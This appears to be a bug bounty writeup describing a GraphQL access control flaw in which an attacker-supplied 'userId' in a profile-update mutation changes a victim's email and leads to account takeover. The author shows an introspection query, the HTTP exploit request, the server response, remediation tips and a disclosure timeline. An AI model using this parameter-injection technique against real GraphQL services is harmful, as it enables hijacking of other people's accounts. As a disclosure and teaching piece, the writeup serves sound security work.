How a Simple GraphQL Scope Bypass Led to an Account Takeover ($4,500 Bounty)

Discover how analyzing GraphQL schema mutations and nested query parameters revealed a critical access control failure on a major target.

T4nv1

Published August 31, 2026

Free: No

Read on Freedium · original

Contents

When hunting on large target programs, standard REST endpoints are often heavily audited and hardened by automated scanners. GraphQL endpoints, however, frequently contain hidden implementation flaws due to complex object nesting, fragmented permission layers, or missing scope checks on specific mutations.

This writeup breaks down how a missing ownership validation check in a GraphQL profile-update mutation allowed for full account takeover (ATO), earning a $4,500 bounty.

1. The Target & Initial Reconnaissance

The target was a multi-tenant SaaS platform featuring a public bug bounty program with a wide scope (`*.target-app.com`).

While mapping out the subdomains, `app.target-app.com` stood out. It operated as a modern single-page application (SPA) backed by a central GraphQL endpoint at `/graphql`.

Setting Up the Proxy

To inspect the API traffic thoroughly:

1. Configured Burp Suite Professional to intercept browser traffic.
2. Filtered the HTTP history to display requests targeting `/graphql`.
3. Created two distinct test accounts:

- **Attacker Account:** `user_attacker` (User ID: `usr_11111`)
- **Victim Account:** `user_victim` (User ID: `usr_22222`)

2. Introspection and Schema Mapping

Many web applications disable GraphQL schema introspection in production environments. However, developers occasionally leave field-level suggestions enabled or fail to disable introspection on staging-like production builds.

Running a standard introspection query returned the complete schema:

GraphQL

```
query IntrospectionQuery {
  __schema {
    types {
      name
      kind
      fields {
        name
        args {
          name
          type {
            name
            kind
          }
        }
      }
    }
  }
}
```

Analyzing the schema revealed an interesting mutation designated for profile updates:

GraphQL

```
mutation UpdateUserProfile($input: UpdateUserProfileInput!) {
  updateUserProfile(input: $input) {
    user {
      id
      email
      phoneNumber
      twoFactorEnabled
    }
    errors {
      field
      message
    }
  }
}
```

3. Dissecting the Vulnerability

When a legitimate user updates their profile through the UI (such as changing their contact phone number), the front end sends the following GraphQL payload:

JSON

```
POST /graphql HTTP/1.1
Host: app.target-app.com
Authorization: Bearer <ATTACKER_JWT_TOKEN>
Content-Type: application/json
{
  "operationName": "UpdateUserProfile",
  "variables": {
    "input": {
      "phoneNumber": "+15550199"
    }
  },
  "query": "mutation UpdateUserProfile($input: UpdateUserProfileInput!) {\n
updateUserProfile(input: $input) {\n    user {\n      id\n      email\n
phoneNumber\n    }\n  }\n}"
}
```

By default, the backend relied on the JWT session token to infer which user object was being modified.

Digging Into the Input Types

Inspecting the GraphQL introspection output for `UpdateUserProfileInput` revealed several optional input parameters that were not exposed in the main web UI:

- `userId` (String)
- `email` (String)
- `phoneNumber` (String)
- `bio` (String)

The backend code was structured to accept `userId` as an override parameter for administrative purposes, but it failed to enforce administrative privilege checks when that parameter was present.

4. Exploitation Steps (Proof of Concept)

To verify whether the backend validated user ownership when `userId` was supplied explicitly:

- Logged into `user_attacker` and captured the standard profile update request in Burp Suite.
- Forwarded the request to **Burp Repeater**.
- Modified the `input` object to include the victim's `userId` (`usr_22222`) along with an attacker-controlled email address (`attacker-controlled@exploit.com`).

The Exploitation Payload

JSON

```
POST /graphql HTTP/1.1
Host: app.target-app.com
Authorization: Bearer <ATTACKER_JWT_TOKEN>
Content-Type: application/json
{
  "operationName": "UpdateUserProfile",
  "variables": {
    "input": {
      "userId": "usr_22222",
      "email": "attacker-controlled@exploit.com"
    }
  },
  "query": "mutation UpdateUserProfile($input: UpdateUserProfileInput!) {\n
updateUserProfile(input: $input) {\n    user {\n      id\n      email\n    }\n    errors
{\n      field\n      message
    }\n  }\n}"
}
```

The Server Response

JSON

```
HTTP/1.1 200 OK
Content-Type: application/json
{
  "data": {
    "updateUserProfile": {
      "user": {
        "id": "usr_22222",
        "email": "attacker-controlled@exploit.com"
      },
      "errors": null
    }
  }
}
```

The server accepted the request, attached the attacker's email to the victim's account, and bypassed any secondary email verification step. Initiating a standard "Password Reset" flow for `attacker-controlled@exploit.com` allowed complete takeover of the target victim account (`usr_22222`).

5. Impact & Remediation

Security Impact

- **Severity:** Critical (CVSS 9.1)
- **Exploitability:** Trivial (requires valid authentication, but no elevated privileges)
- **Consequences:** Complete Account Takeover (ATO) allowing full access to sensitive customer data, API keys, and administrative configurations within tenant accounts.

Key Takeaways for Developers

- **Never Trust Client Inputs for Identity:** Always derive the context user from the validated session context (e.g., verified JWT claims) rather than accepting body parameters like `userId`.
- **Implement Role-Based Access Control (RBAC) at the Resolver Level:** If an override parameter like `userId` is required for admin functionality, check the requesting user's roles inside the GraphQL resolver before executing the field mutation.

6. Disclosure Timeline

- **Day 1:** Vulnerability discovered and reported via Bugcrowd.
- **Day 1:** Triage confirmed; severity rated as Critical.
- **Day 2:** Patch deployed to production (resolver authorization added).
- **Day 5:** $4,500 bounty awarded.